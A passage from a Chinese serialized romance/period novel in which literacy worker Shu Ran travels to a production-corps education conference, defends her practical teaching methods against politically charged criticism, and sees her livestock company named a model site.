回畜牧连吃沙子去?孙处长可是真看重你, 这特约调研员的身份, 可不是谁都有的。” 他的话里带着点不解, 也有一丝不易察觉的试探。旁边一位正在嗑瓜子的女干事也抬起头, 好奇地看向舒染。 舒染笑了笑,拿起桌上一本《兵团教育通讯》塞进自己的帆布挎包里, 动作利落:“张干事,瞧您说的。孙处长给了我这么大信任, 让我把畜牧连搞成示范点,我要是搞不好, 哪有脸回来见您和处长?我这不是离开师部, 是换个战场给师部干活儿去了。” 她的话里带着轻松的调侃,但意思很明白,她的工作仍是师部工作的一部分。 “那倒也是。”张明点点头, 拿出公章,哈了口气,在介绍信上用力按了一下,“喏,手续齐了。这特约调研员的证件你可收好了,以后每月回来开会、报材料,都得用这个进出大院。” 他将一个小红本递给舒染,语气变得正式了些,“处长交代了,每月头一个周三,是你回科里述职的日子,交通问题由科里协调解决,你可必须准时到。” 旁边那位嗑瓜子的女干事插话道:“每月都能回来啊?那挺好!小舒,下次回来记得多跟我们讲讲底下的事儿,可比看报告有意思多了。处长还说了,等明年开春,教材修订工作全面启动,肯定得把你调回来集中办公一段时间,你这基层专家可不能缺席!” 她这话说得随意,却透露出重要的信息——舒染不仅每月要回来,更有需要她回师部参与的重要任务在规划中。 舒染心里有了底,笑容更踏实了些:“一定一定。我回去就把基层碰到的新问题、好办法都记下来,下次回来好好跟各位领导、老师汇报。”她特意用了“回来”这个词。 张明也笑了,语气缓和许多,“行了,知道你心气高,想干实事。回去好好干,给咱们教育科长长脸!有啥困难,随时写信或者打电话回来。处长可是发了话,示范点的困难,就是咱们科里的困难。” 他指了指墙角那台老式手摇电话机,“电话线虽然时好时坏,但总能碰上线的时候。” “哎!谢谢张干事,谢谢大家这段时间的照顾!”舒染诚恳地道谢,将办好的手续和那份方案仔细收好。 离开办公室时,夕阳正好透过走廊的窗户洒进来。舒染听到身后传来隐约的对话声: “……这姑娘,是个能干事的……” “处长眼光毒啊,放下去磨一磨,将来回来更能挑大梁……” “……等着看吧,畜牧连那个点,说不定真能搞出点名堂……” * 就在舒染第二天就能回畜牧连时,一个意外消息传来:兵团司令部要举办全兵团教育工作会议,孙处长决定带舒染一起去参加,让她介绍基层扫盲经验。 “会议为期一周,结束后你再回畜牧连。”孙处长说,“这是个很好的机会,能让你的经验在全兵团推广。” 舒染算算时间,这样一来,她在师部待的时间就要超过一个月了。她惦记畜牧连的工作,但又不好推辞这个重要任务。 让她意外的是,陈远疆也要去参加那个会议,作为保卫处的代表。 出发前夜,舒染正在房间整理汇报材料,敲门声响起。她开门一看,是陈远疆。 “陈干事?请进。”舒染有些意外。 陈远疆没有进屋,只是递给她一个小布包:“明天路上用得上。” 舒染打开一看,是一双崭新的布鞋,比一般的布鞋厚实许多,显然是特意为长途行走准备的。 “这……”舒染一时不知该说什么。 “兵团司令部路程远,省得拖慢队伍。”陈远疆语气有些生硬,“早点休息,明天一早出发。” 舒染犹豫着接过,发现尺寸分毫不差,心中一凛,抬眼看他。陈远疆已别过脸去,耳根微红。 舒染赶紧从包里翻出钱递交给他:“多谢陈干事关心,这鞋就算是我买的。” 陈远疆摆摆手,转身离去,留下一句话:“别有心理压力,这是组织对女同志的照顾。” 陈远疆走后,舒染试了试布鞋,大小正合适。 她把新鞋放在床头,拿起教材编写最终稿翻阅。 窗外,月光如水。舒染想起明天就要开始的新的旅程,心中充满期待。她一定要把这次会议的经验学好,带回畜牧连去。 天未亮透,师部大院已响起引擎的轰鸣声。一辆军绿色的老式解放卡车等待着,驾驶室里坐着司机和孙处长。车厢里已经堆了些物资和几个人的行李。 舒染背着挎包,拎着装有汇报材料的小木箱赶来,看到陈远疆已经在了。他正和司机低声确认着什么,一身军装,身姿笔挺,脚上是半旧的翻毛皮鞋。 看到舒染,他微微颔首,目光在她脚上那双新布鞋上停留了一瞬,便自然地接过她手中的木箱。 “路况复杂,箱子固定好。”他解释了一句,动作利落地将箱子绑死在车厢最稳当的位置。 同行的还有教育科另一位老干事。四人挤进驾驶室,孙处长坐副驾,舒染和陈远疆、老干事挤在后排。 空间狭小,颠簸起来难免磕碰。舒染尽量缩着身子,陈远疆则一手撑在车窗上方,尽量为她隔出多一点空间。 卡车驶出师部,很快投入茫茫戈壁。开始时还有简易公路,后来就多是车辙压出的便道。车厢内弥漫着汽油味和尘土味。颠簸极其剧烈,人被抛起又落下。 老干事很快晕车,脸色发白。孙处长年纪大了,也显疲态。 陈远疆从随身挎包里拿出一个小纸包递过去:“姜片,含着会好些。”他备着这类小东西,显得经验丰富。 他似乎早已习惯,目光始终警惕地扫视着窗外起伏的荒原。 中途在一个兵站休息、加油。陈远疆拿出一个新军用水壶,递给舒染:“喝点水,润润。后面更干。”又对孙处长说,“处长,下来活动一下,还有大半程。” 陈远疆与兵站工作人员简短交谈,对方态度熟稔中带着敬意:“陈干事,又跑这条线?最近前面一段路不太平,小心些。” 陈远疆点点头:“知道,例行公事。” 舒染在一旁默默听着,心中疑窦稍解。原来他对路途的熟悉和细致准备,源于经常往返和处理不太平的事务,这似乎是他的工作常态。 舒染喝了一口,是淡淡的甘草水,微甜,很好地缓解了干燥。 再次出发时,陈远疆对司机说了句什么,然后对老干事说:“老李,你坐前面透透气,我换后面去。” 于是,陈远疆和舒染爬上了颠簸得更厉害的后车厢,靠着行李堆坐下。这里视野开阔,但风沙也更大。 陈远疆递给她一条军用毛巾:“蒙住口鼻。” 巨大的风声和引擎声让交谈变得困难,但偶尔的视线交汇,却有种安静感。他时不时指向远处,告诉她那是什么山,哪条河谷,曾经发生过什么,语气平淡得像在念报告。 舒染听着,却从中捕捉到信息:他对这片土地的了解,远超普通干部,带着一种经年累月沉淀下来的近乎本能的洞察。 舒染发现,当他谈起这片土地时,那冷硬的侧脸会微微松动。 天色渐晚,气温骤降。他们在一个较大的兵站歇脚。兵站条件简陋,通铺土炕,男女分住。晚饭是热腾腾的汤面和烤馍。 舒染发现陈远疆几乎没怎么吃,而是和兵站的人低声交谈,又出去检查了车辆情况。回来时,他手里多了个小布包,递给舒染:“兵站卫生员给的,女同志怕凉,垫着点。”里面是些旧棉絮。 舒染接过道谢,心想着这是真的组织的关心,还是另一种形式的特别关注呢? 夜里,她确实听到外面有低语和脚步声,像是陈远疆在和守卫交谈。她有点恍惚、仿佛之前种种不是他特殊的关注,而是他保卫干部的身份,这或许是他职责所在的安全巡视,自己只是恰好在被巡视范围内。 夜里,舒染果然被土炕的凉气冷得有些睡不着,垫了棉絮才好些。隐约听到外面似乎有动静和低语声,像是陈远疆和兵站守卫在巡夜。 第二天一早,继续赶路。 下午,天气突变,狂风卷着沙石砸向车窗,能见度极低。司机艰难减速。 忽然,车子猛地一颠,停了下来。司机下车查看,回来脸色不好:“麻烦了,右后轮陷进沙坑,爆胎了。” 戈壁滩上,前不着村后不着店。孙处长和老干事面露忧色。 陈远疆没有丝毫犹豫,脱下外衣裹住头脸,跳下车:“老张,拿千斤顶和备胎。舒染,你下来,帮我打手电扶稳。处长,你们在车上等着,别下来吃沙子。” 风沙打得人生疼。舒染紧紧扶着手电,光线在风中摇曳。陈远疆跪在沙地里,动作麻利而沉稳地操作着,每一个指令都清晰简短:“光,左边一点。”“扳手。” 更换过程并不顺利,螺丝锈住,风沙不断淹没工具。舒染看着他专注的侧脸和手上鼓起的青筋,忽然觉得心跳有些快。她努力稳住手电,尽量为他提供一点微弱的帮助。 终于换好备胎,两人都成了土人。回到车上,陈远疆第一件事是拿起水壶递给满脸沙土的舒染:“漱漱口。” 舒染没有立刻接,而是看了一眼他被沙石划伤的手背,才接过水壶,低声道:“你自己也处理一下。” 陈远疆明显顿了一下,才“嗯”了一声,接过水壶时避开了她的目光。 第80章 历经近三天的颠簸, 当卡车终于驶入兵团司令部所在地时,所有人都松了口气。 司令部所在的城区景象自然比师部和连队繁华许多,房屋增多, 街上行人的衣着也略显多样,但依然充满着这个时代特有的简朴和建设气息。 车子直接开往会议安排的招待所。那是一栋灰色的三层苏式建筑, 显得颇为气派。 下车时,陈远疆率先拎下舒染的木箱,递给她时, 低声快速地说了一句:“会议期间,遵守纪律,注意安全。有问题可按程序找会务组,或……告知孙处长。”他顿了顿, 又补充道, “晚上尽量不要单独外出。” 舒染抬头, 撞见他深邃的目光, 那里面有关切, 有责任, 或许还有一丝别的什么,但很快被惯常的冷静覆盖。 她坦然接过箱子, “谢谢陈干事提醒,我会注意。这次旅途, 也辛苦你了。” 陈远疆看了她一眼,没再说什么, 转身去拿自己的行李。 孙处长安排大家入住。舒染分到一个双人间, 同屋的是另一个师的一位女代表。房间里有简单的家具,甚至还有一台拨号电话。 舒染放下行李,走到窗边, 看着楼下院子里来来往往的各师代表,心里充满了对新环境的好奇和对会议的期待。 她转身开始整理行李,准备以最好的状态,迎接明天的会议。 兵团司令部的大礼堂比舒染想象的要简朴许多。 墙壁是用黄泥抹平的,上面挂着几幅标语,屋顶裸露着木梁,长长的木条椅排列整齐。但这里通电,甚至还有一个简陋的主席台,台上铺着洗得发白的红布,已经比舒染经历过的任何会议场合都要正式。 来自全兵团各师、各团的代表陆续入场,按照事先划分的区域就坐。 舒染跟着孙处长,找到他们师部的位置——中间偏后。她小心地将装有发言稿和实物教具的布包放在膝上,手心微微有些出汗。 “别紧张,”孙处长低声道,“就把你在畜牧连做的讲出来就行。” 舒染点点头,目光却不自觉地扫向会场后方。 她看到了陈远疆。 他坐在最后一排靠门的位置,与两三个同样气质精干的同志在一起。他没有穿军装,而是一身深蓝色的中山装。他微微侧头,正听着身旁的人低声说话,眼神却扫视着整个会场,从入口到窗户,从主席台到台下代表,每一个角落都不放过。 当他的目光扫过舒染所在区域时,几乎没有停留,便自然地移开,继续他的巡视。那是一种全然的职业性的警觉,不带任何个人情感色彩。 舒染却因这一瞥,下意识地挺直了背脊。 会议在开始。领导讲话,语气充满着建设边疆的宏观考量。台下的人们认真记录,偶尔鼓掌。 轮到各师代表汇报时,气氛变得更为严谨,但也充斥着各种术语。 舒染听着,手指无意识地捏紧了膝盖上的布包。这些汇报与她带来的土办法大相径庭。 终于,主持人口中念出了:“下面,请X师畜牧连扫盲示范点负责人,舒染同志,介绍基层扫盲工作经验。” 舒染深吸一口气,在孙处长鼓励的目光中,起身走向主席台。她能感觉到全场的目光聚焦在自己身上,年轻的女性,来自最基层的连队。她也能感觉到,后方那道原本匀速巡视的目光,似乎有瞬间的凝定。 站到讲台后,她发现话筒是坏的,只好提高嗓音。 “各位领导,同志们,我是舒染。我不是什么专家,就是在畜牧连和职工、家属、孩子们一起,摸着石头过河,搞扫盲工作。” 她的话音落下,台下有轻微的骚动。这种开场白,简直太不规范了。 舒染不为所动,她从布包里先拿出几本用废报纸、牛皮纸甚至香烟盒装订成的作业本,高高举起:“这是我们连队孩子写的字。最开始,纸是捡来的,笔是木头棍子烧的炭条。但我们的孩子们,现在会写自己的名字,会算简单的工分了。” 接着,她又拿出几本妇女们记的账本,上面画着歪歪扭扭的数字和物品图形:“这是我们家属工厂大姐们记的豆腐账,一开始只会画圈,现在能写出大部分的物品名称了。” 最后,她展示了几张杨振华帮忙拍的模糊照片——孩子们在地上写字,妇女们在灶台边认票据。 “我们没什么高深理论,就认一个理:学的东西,得马上能用上!教牧工,就先认兽药名字;教家属,就先认布票、油票;教孩子,就从名字、工数学起。法子土,见效慢,但基础打得牢!” 她讲了一个个具体的小故事:孩子如何第一次工分算对了激动得哭,妇女们,如何第一次独自看懂领粮条,少数民族孩子如何用刚学的汉字给家人写信……没有空话,全是鲜活的人和事。 台下安静极了。许多基层代表的眼神亮了起来,不住地点头。 前排几位机关干部模样的代表则皱起了眉头,显然觉得这太不上台面。舒染注意到,那位坐在主位的老者,原本靠在椅背上的身体,不知何时已经微微前倾,手指轻轻点着桌面,目光落在她展示的东西上。 她的发言结束时,台下沉默了片刻,随即爆发出远比之前热烈的掌声,尤其是来自基层区域的掌声,格外真诚。 舒染鞠躬下台,回到座位,心脏还在砰砰直跳。孙处长悄悄对她竖了个大拇指。 午休时,代表们分散在礼堂周围休息、交流。舒染心里还惦记着下午可能有的提问环节,独自一人走到礼堂侧面一处相对安静的红柳丛旁,拿出发言稿,想再梳理一下思路。 一想到可能会被那些理论水平高的代表提问,她不禁有些焦虑。 就在这时,她看见陈远疆和一名穿着司令部保卫处制服的中年干部一边低声交谈,一边从附近走过。他们似乎是在例行巡查。 陈远疆的目光与她有一瞬的交汇,依旧没有任何表情,随即自然移开,继续与同伴说话。两人慢慢走远。 舒染轻轻呼了口气,正准备继续看稿,目光却瞥见旁边石凳上,不知何时落下了一本半旧的杂志。她走过去拿起,心想是谁落下的。随手一翻,发现其中一页被不太明显地折叠了一角。 那篇文章的标题是:《切忌拔苗助长——扫盲工作冒进教训浅析》。内容正是批评为了追求数字指标,不顾群众实际接受能力,强行推广复杂教材,最终导致群众抵触、工作失败的案例。 舒染的心头一动。下午的讨论,肯定会有质疑和挑战,这篇文章的核心观点,就是她最有力的回应依据——实事求是,循序渐进。 她立刻抬头寻找陈远疆的身影,却见他和那位干部已走到礼堂拐角处,似乎停下在交代什么。舒染捏着杂志,快步走过去。 “陈干事,”她声音不大,“您的杂志落下了。” 陈远疆转过身,目光平静地掠过她手中的杂志,又看向她,脸上没有任何表情,只是“嗯”了一声,伸手接过。 “谢谢。”他的语气平常得像真是丢了三落四。 旁边那位保卫干部好奇地看了舒染一眼。陈远疆简单地介绍:“X师来的舒染同志,刚才会上发言的那位。” 那位干部立刻露出恍然和敬佩的表情:“哦!是你啊!讲得好!我们都在夸你讲得实在!” 舒染礼貌地笑笑,再次看向陈远疆时,只看到他已然转身的侧影,和一句对同伴说的话:“……去那边看看,确保下午分组讨论的场地没问题。” 下午的分组讨论,果然风雨欲来。舒染心中安定了许多。她抬头,目光不自觉地再次扫向后排那个靠门的位置。 陈远疆依然在那里,坐姿似乎都未曾改变,依旧警惕地巡视着全场。 但舒染知道,真正的守护,往往披着规则与距离的外衣。 下午的分组讨论,按专业领域划分,舒染被分在了扫盲与基础教育小组。 会场设在一间宽敞的平房教室里,烟气缭绕,人头攒动,气氛比上午的大会要随意,也更剑拔弩张。 舒染找了个靠窗的位置刚坐下,讨论就开始了。 果然,上午她发言时那几个皱眉头的中年干部就在这个组。主持讨论的是司令部教育处的一位副处长,姓王,戴着深度眼镜,说话慢条斯理。 先是几个代表发言,内容依旧是汇报式的,谈成绩多,谈实际问题少。 轮到舒染时,她吸取上午的经验,言简意赅,只补充说明了畜牧连如何根据生产季节灵活调整扫盲时间,以及“小小卫生员”计划如何与文化学习结合。 她刚说完,对面一位来自某师机关的面孔白净的干部就扶了扶眼镜,开口了,语气带着明显的优越感:“舒染同志的经验,很生动,啊,很具体。不过,我认为,扫盲工作,首先是个政治任务,思想引领必须放在首位。像畜牧连这样,过分强调认票证、记工分,是不是有点……实用主义倾向?会不会冲淡了思想教育的主题?我们师,一直是坚持先教理论,再学生字,这样才能保证方向不出偏差。” 话音刚落,就有几个人点头附和。 舒染心里早有准备,她不急不恼,甚至脸上还带了一点谦逊的笑意:“这位领导说得对,思想引领非常重要。我们教职工认工分票、教家属认布票的时候,第一件事就是讲清楚,这工分、这布票,是国家和集体对咱们劳动成果的肯定和分配,是为人民服务的具体体现。脱离了这些实在的东西,空讲下去,群众理解起来,恐怕隔了一层。主席不是也教导我们要实事求是嘛。” 她巧妙地把“实用主义”的帽子,用“实事求是”顶了回去,还扣准了最高指示。 那白净干部被噎了一下,脸色有些涨红:“你……你这是偷换概念!系统的政治理论学习是必要的!” “对,必要。”舒染接过话头,语气依旧平和,“可对于一天要干十个小时重体力活、晚上点着煤油灯才能识几个字的职工家属来说,是先学懂‘剥削’两个字重要,还是先看懂自己这个月到底该领多少口粮、不被克扣更重要?我们认为,让群众先从学习中得到好处,他们才会真正相信学习有用,才会更有动力去学更深奥的道理。这叫‘有感才能有理’。” “说得好!”一个洪亮的声音响起,是坐在角落的一位皮肤黝黑的中年汉子,看打扮像是来自更偏远团场的代表。 “我们那儿就有教训,上来就背语录,群众听不懂,坐不住,最后人都跑光了!就得像舒染同志说的,啥有用学啥!” “就是!先得让人愿意学!”另一个代表附和。 会场里顿时分成了两派,争论起来。 王副处长敲了敲桌子,让大家安静,目光转向舒染:“舒染同志,你提到的根据生产季节调整教学时间,很有创意。但这样会不会过于分散,难以保证教学质量和进度?” 这个问题更具体,也更有水平。 舒染从容应答:“王处长,我们认为,质量不是体现在教案多漂亮、进度多快上,而是体现在群众真正学会了多少、能用上多少。农忙时,我们就在休息时认几个农具名字、庄稼名称;牧区转场,我们就教孩子认方向。看起来慢,但学的东西忘不掉。相反,为了赶进度,不顾生产,群众有抵触情绪,那才是真正没质量。” 她顿了顿,看向之前发难的白净干部,语气带着点请教的意味:“就像这位领导刚才提到的学语录,我们也在学。但我们不是干巴巴地背,是结合事迹来讲。孩子们一下就懂了,记得比光背书牢靠多了。” 那白净干部张了张嘴,一时找不到话来反驳,只能悻悻地低下头。 讨论的气氛彻底转向,越来越多基层代表开始诉说自己的实际困难,并向舒染取经。 舒染有问必答,分享的都是能立刻上手的小窍门,比如怎么用沙盘练字省钱,怎么发动学生互教互学。 会议结束时,好几位代表围住舒染,问她要通信地址,说以后要多联系。 王副处长也走过来,和蔼地对她说:“小舒同志,你的思路很活,办法也实在。会后写个详细的材料报上来,司令部可以考虑在内部通讯上刊发,推广一下。” “谢谢王处长!我一定尽快整理好!”舒染连忙答应,心里一块石头落了地。 这趟司令部,没白来。 她收拾东西准备离开,抬眼间,瞥见教室后门窗外,陈远疆的身影一闪而过,似乎只是例行巡查路过,脚步未停。 舒染走出教室,夕阳的余晖洒在大院的白杨树上。接下来的会议,她更有底气了。《 》 80-90 第81章 分组讨论的热乎劲儿还没过, 舒染正和几个基层代表边走边聊,约好晚上再细说沙地写字教学的事儿,一个声音冷不丁从旁边插了进来, 带着点阴阳怪气。 “舒染同志,留步。” 舒染回头, 看见正是下午那个被她噎得没话说的白净干部,旁边还跟着一个眼神挑剔的中年女干部。 舒染记得她,好像是某个师宣传口的, 姓李,上午听她发言时就一直板着脸。 “有事吗,领导?”舒染停下脚步,脸上还是挂着礼貌的笑。 旁边几位基层代表见状, 也停了下来, 气氛有点微妙。 李干事上下打量了舒染一眼, 目光在她洗得发白的列宁装领口停了停, 开口道:“舒染同志, 你下午的发言, 很活跃嘛。我有个问题想请教一下。” “您说。” “你反复强调‘有用’、‘实惠’,把认票证、记工分抬得那么高。我是不是可以理解成, 你认为思想觉悟、政治学习,不如那几尺布、几斤粮重要?”这话问得极其刁钻, 陷阱明显。 旁边那干部赶紧帮腔:“是啊,舒染同志, 我们要警惕一种倾向, 就是把群众往经济主义、实用主义的歪路上引。这可是原则问题!” 几个基层代表脸上露出愤愤不平的神色,但一时不知如何反驳这种上纲上线的话。 舒染心里冷笑,面上却显得更诚恳了:“两位领导, 这话我可担不起。我们教群众认票证、记工分,恰恰是为了让他们切身体会到,在制度下,劳动能换来实实在在的成果,上面是真心实意为人民谋福利的。这难道不是最生动、最具体的政治教育吗?难道让群众糊里糊涂,连自己的劳动成果都弄不明白,才是政治觉悟高?” 她再次引用最高指示,把对方的帽子原样奉还。 李干事脸色一沉:“巧言令色!我问你,你父亲是上海资本家出身吧?你这种过分强调实惠的论调,很难不让人怀疑,是不是受到了资产阶级思想残余的影响!你来兵团,到底是真心接受,还是来散布你那套唯利是图的观点?” 这话就说得相当重了,直接攻击家庭出身和动机。周围瞬间安静下来,所有人都屏住了呼吸。 舒染的心猛地一沉,她知道这种指控在当下的分量。 周围几个基层代表忍不住想开口,被舒染用眼神悄悄制止了。她知道,这种时候,别人帮腔反而容易把事情闹大,变成“围攻领导”,必须她自己来破这个局。 舒染脸上非但没有怒气,反而露出一丝恍然大悟的表情,甚至还带着点不好意思的笑:“哎呀,两位领导,原来你们是担心这个!怪我,怪我,下午光顾着讲具体咋操作,没把最根本的道理说透。” 她这话一出,李、张二人都愣了一下,没明白她葫芦里卖的什么药。 舒染不给他们反应的时间,语气变得真诚又带着几分宣讲的味道:“两位领导说得太对了!教育工作,政治肯定是挂帅的,我们畜牧连为什么要扫盲?根本目的,就是为了让大伙儿更好地学习著作,理解政策,提高觉悟!” 她话锋一转,眼睛亮晶晶地看着对方:“可是领导们想想,一个连自己名字都不会写、连工分本都看不明白的职工,你发给他一本语录著作,他怎么学?字都不认识,意思怎么理解?觉悟从哪儿来?那不是成了空中楼阁吗?” 她不等对方反驳,继续加大音量,确保周围越来越多围过来的人都听得清:“我们的办法,就是先帮群众搬掉文盲的这块绊脚石!让他们能看懂条子、读懂通知、学会算账,先切身体会到学习文化能给自己的生产生活带来实实在在的好处!他们尝到了甜头,才会从心底里认同学习有用,才会主动想去学更多的道理!我们不是不重视政治,我们是更讲究方法,要让政治教育真正入脑入心,而不是停留在口头和纸面上!” 她边说边观察着对方的脸色,看到李干事想插话,立刻抛出一个具体例子:“就拿我们连的王桂兰大姐来说,烈属!觉悟高不高?可以前不识字,连领抚恤金的条子都要求人看。现在我们教会她认字了,她不仅能自己看条子,还能给孩子们念语录著作了。领导们说说,这是降低了政治性,还是增强了政治性?” 这番话说得有理有据,层层递进,最后还抬出了烈属的例子,分量十足。周围的人群里已经有人忍不住小声叫好。 李干事脸色铁青,还想挣扎:“你这是强词夺理!本质上是淡化政治……” “李干事!”舒染突然打断她,声音清亮,脸上依旧带着笑,眼神却锐利起来,“您一直强调政治性。那我倒想请教您一个实际问题:如果现在有一个职工,因为不识字,看不懂农药说明书,把苗毒死了,给集体造成了损失。您是先批评他政治学习不够,还是先想办法教会他认字,避免下次再犯错误?哪个对集体生产的损失更小?哪个对提高他爱护集体财产的觉悟更有帮助?” 她这个问题,极其刁钻现实,直接把对方逼到了墙角。回答哪个,都是打自己的脸。 张干事见状,赶紧想把话题拉回出身上:“舒染同志,你不要转移话题!我们是在讨论你的工作方法问题,以及你的家庭背景可能带来的……” “我的家庭背景,组织上早有结论!我响应号召来到边疆,就是为了接受锻炼!”舒染猛地提高声调,目光毫不退缩地迎上张干事,“我的一切工作,都是在连队党支部领导下进行的!我的工作方法好不好,应该由实践来检验,由我们畜牧连的职工群众来评判!而不是由两位领导,仅仅因为我的出身,就在这里凭空质疑我的动机!” 她环视四周,看向那些基层代表:“各位领导、同志们都在场!我舒染做得对不对,是不是真的对群众有利,是不是真的有利于巩固边疆、发展生产,大家心里都有杆秤!我相信组织,相信群众的眼睛是雪亮的!” 这话说得堂堂正正,既摆出了组织原则,又发动了群众,把自己放在了受委屈但依然坚信组织的位置上。 “说得好!” “舒染同志做得对!” “我们就需要这样务实的法子!” 基层代表们早就憋了一肚子气,此刻纷纷出声支持,声音越来越大。 李、张二人彻底被这阵势镇住了,脸色煞白。他们没想到这个看似温和的年轻女子,言辞如此犀利,逻辑如此严密,更懂得利用群众的力量。 正好这时,主持分组讨论的王副处长闻讯赶来,看到这场面,眉头紧皱:“怎么回事?围在这里吵吵什么?” 舒染立刻抢在李、张二人前开口,语气委屈但克制:“王处长,没什么。就是李干事和张干事对我的一些工作方法有不同看法,我们正在……深入交流。可能我水平有限,解释得不够清楚,让两位领导误会了。” 她以退为进,把“围攻”说成“交流”,把责任揽到自己“水平有限”上。 王处长看了看脸色难看的李、张,又看了看群情激奋的基层代表,心里明镜似的。 他沉下脸,对李、张二人说:“有不同看法可以提,但要讲究方式方法!不要影响团结!舒染同志的工作,司令部领导是肯定的!要允许基层探索!” 这话等于给事情定了性。李、张二人悻悻而去。 王处长又安抚了舒染和众人几句,让大家散了。 风波平息,舒染独自站在原地,暗暗松了口气,后背其实也惊出了一层细汗。 她抬起头,目光不经意间扫过不远处礼堂的拐角,似乎看到一个熟悉的蓝色中山装衣角一闪而过。 舒染微微一怔,随即释然。他在或不在,看到或没看到,此刻都已经不重要了。 舒染迎着一路的目光回到招待所的房间。 同屋的周干事是司令部宣传科的老人,还没回来。舒染闩好门,后背抵着门板,长长地吐出一口气。 刚才在院子里那股子硬撑着的劲儿,一下子泄了个干净。她走到床边坐下,感觉小腿肚子有点发软。跟李干事、张干事那番唇枪舌剑,看似她占了上风,实则凶险。每一句回应,她都绷紧了神经,生怕被对方抓住一点话柄。 她脱下鞋,发现脚底竟然磨出了个小水泡。白天不觉得,这会儿才感到隐隐作痛。 她从床头小布包里找出许君君给她的针,点了根火柴烧过消毒,小心地挑破水泡,挤出水,又抹了点红药水算作消毒。 做完这些,她起身拿起暖水瓶,晃了晃,里面还有小半壶温水。她倒进搪瓷缸里喝下。水温吞吞的,却很好地安抚了她的喉咙和神经。 窗外传来其他代表洗漱、打招呼的声音。舒染走到窗边,看着外面大院零星亮起的灯火,心里慢慢平静下来。 今天这一仗她赢了,但赢得不轻松。她想起李干事、张干事最后那灰溜溜的样子,心里掠过一丝快意,但很快又被更深的思虑取代。 这才只是开始。司令部这边,看似肯定了她的做法,但真正的考验,回去之后才见分晓。示范点的名头下来了,多少双眼睛会盯着?资源会不会真到位?连里那些人,会不会更变着法儿地刁难? 还有陈远疆……拐角那个一闪而过的衣角,到底是不是他?如果他看见了,会怎么想?舒染甩甩头,把这个念头抛开。管他呢,她舒染做事,不是为了做给谁看的。靠山山会倒,靠人人会跑,终究得靠自己。 她回到床边,拿出那份需要整理的汇报材料,就着灯光,开始动笔。这一次,她思路更清晰。她把白天应对刁难的那些论点,巧妙地融入了材料里,把实用和政治的关系,阐述得更加滴水不漏。 吱呀一声,房门被推开,带着一股凉风和雪花膏味儿。周干事裹着棉大衣进来了,脸被风吹得红扑扑的,一进门就搓着手:“哎呦喂,这天儿,说冷就冷!小舒你回来挺早啊?” “周干事。”舒染转过身,笑着打招呼。 周干事利索地脱下大衣挂好,一眼就瞥见舒染放在床边的鞋和搪瓷缸,又看看她的脸,凑近了些,压低声音,带着点八卦和佩服的笑意:“行啊你,小舒!我刚才在食堂可都听说了!你真行!那俩可是有名的‘杠头’,让你给噎得没脾气!” 舒染不好意思地笑笑:“周干事,您可别听人乱传。我就是……就是解释了一下我们连里的实际情况。” “得了吧!”周干事在自己床边坐下,“我还不知道他们?就会扣帽子!你今儿可是给咱们基层来的同志长了脸了!干得漂亮!”她边说边拿出自己的茶缸,从舒染的暖瓶里倒了点水,“我跟你说,那姓李的,仗着是老人,动不动就给人上纲上线;姓张的呢,屁本事没有,就会溜须拍马跟着起哄!你甭搭理他们!” 舒染听着周干事连珠炮似的话,觉得这性格倒是挺痛快,跟王大姐那种淳朴的关切不一样,带着点机关老油条的敏锐和直爽。 她顺势问道:“周干事,您在司令部时间长,见识广。像我们这种基层搞起来的土办法,上头……到底是个什么态度?我真怕方向跑偏了。” 周干事喝口水,咂咂嘴:“你放心!真正管事的领导,心里门儿清!什么叫政治?能把生产搞上去,让群众安心扎根边疆,就是最大的政治!你那些法子,实实在在见了效,领导们能不高兴?就怕那种光会喊口号、不出活儿的!像李张她们,也就是蹦跶几下,成不了气候。” 她凑得更近些,声音压得更低:“我告诉你,管文教的张副政委,最讨厌华而不实的东西。你今天讲的那些,他准爱听!你回去就把材料整扎实点,保准没问题!” 这番话,虽然带着点八卦色彩,却给舒染吃了颗定心丸。她感激地点点头:“谢谢周干事指点。” “谢啥!我看你这姑娘是块干实事料!”周干事摆摆手,又开始絮絮叨叨说起司令部里的一些人事关系和注意事项,哪些领导务实,哪些部门爱扯皮,让舒染听得津津有味,也对这陌生的环境多了几分了解。 熄灯号响了。房间暗下来。 舒染躺在床上,周干事已经发出了轻微的鼾声。她却没有睡意,脑子里回想着周干事的话,又想着明天的会议。她知道,周干事的话不能全信,但至少提供了一个观察的角度。 她翻了个身,努力把思绪拉回正轨。周干事的消息也好,陈远疆的关注也罢,都是外因。归根结底,她得靠自己把示范点搞起来,拿出谁也挑不出刺的成绩。 她闭上眼,强迫自己入睡。 第82章 窗外月光透过薄薄的窗帘, 在水泥地上投下光晕。同屋的周干事已经发出均匀的鼾声。舒染的脑子里像过电影一样,回放着白天分组讨论时李干事、张干事那咄咄逼人的面孔,以及自己如何一句句顶回去的场景。 现在冷静下来想想, 还是有些后怕,但更多的是一种快意和疲惫。脚底那个水泡隐隐作痛, 提醒着她这一路走来的真实。 她翻了个身,面朝墙壁,深吸一口气, 再次强迫自己清空思绪。不知道过了多久,才迷迷糊糊睡去。 第二天,她是被周干事摇醒的。“小舒,快起!今天总结大会, 可不能晚!” 舒染一个激灵坐起来, 窗外天已大亮。她赶紧洗漱, 和周干事一起匆匆赶往礼堂。 总结大会的气氛比前几日更加庄重。主席台上就坐的领导神情严肃。当张副政委开始总结发言时, 台下鸦雀无声。他的讲话充分肯定了本次会议的成果, 强调了教育工作对于巩固边疆、发展生产的重要性。 舒染认真听着, 心里琢磨着如何将会议精神带回连队。就在她以为发言即将结束时,张副政委的话锋忽然一转:“……这次会议, 我们听到了来自各师团、各条战线的宝贵经验。尤其值得注意的是,一些基层单位的同志, 立足实际,勇于探索, 创造了很好的工作方法。比如, 有的单位把扫盲和文化学习,同群众的生产生活紧密结合起来,教群众认工分、识票证、看农药说明, 让他们立刻尝到学习的甜头,从而激发了学习的内生动力……” 舒染下意识地挺直了背脊。她感觉到周围有不少目光投向自己所在的方向。虽然领导没有点名,但指向性已经非常明确。 张副政委继续说着:“……这种接地气的做法,看起来土,但效果好,群众欢迎!这充分说明,我们的工作必须坚持从群众中来,到群众中去,不能脱离实际,搞花架子,更不能光扣帽子,不解决实际问题!……” 舒染注意到,前排就坐的李干事和张干事,背影显得有些僵硬。 “……对于这样勇于探索、讲求实效的同志和单位,我们要给予肯定和支持!司令部经过研究,决定将X师畜牧连扫盲教学点,列为全兵团重点基层教育示范点之一,予以重点扶持和指导!希望该点能总结经验,不断完善,为全兵团的基层教育工作提供有益借鉴!” 话音落下,台下先是片刻寂静,随即响起了热烈的掌声。 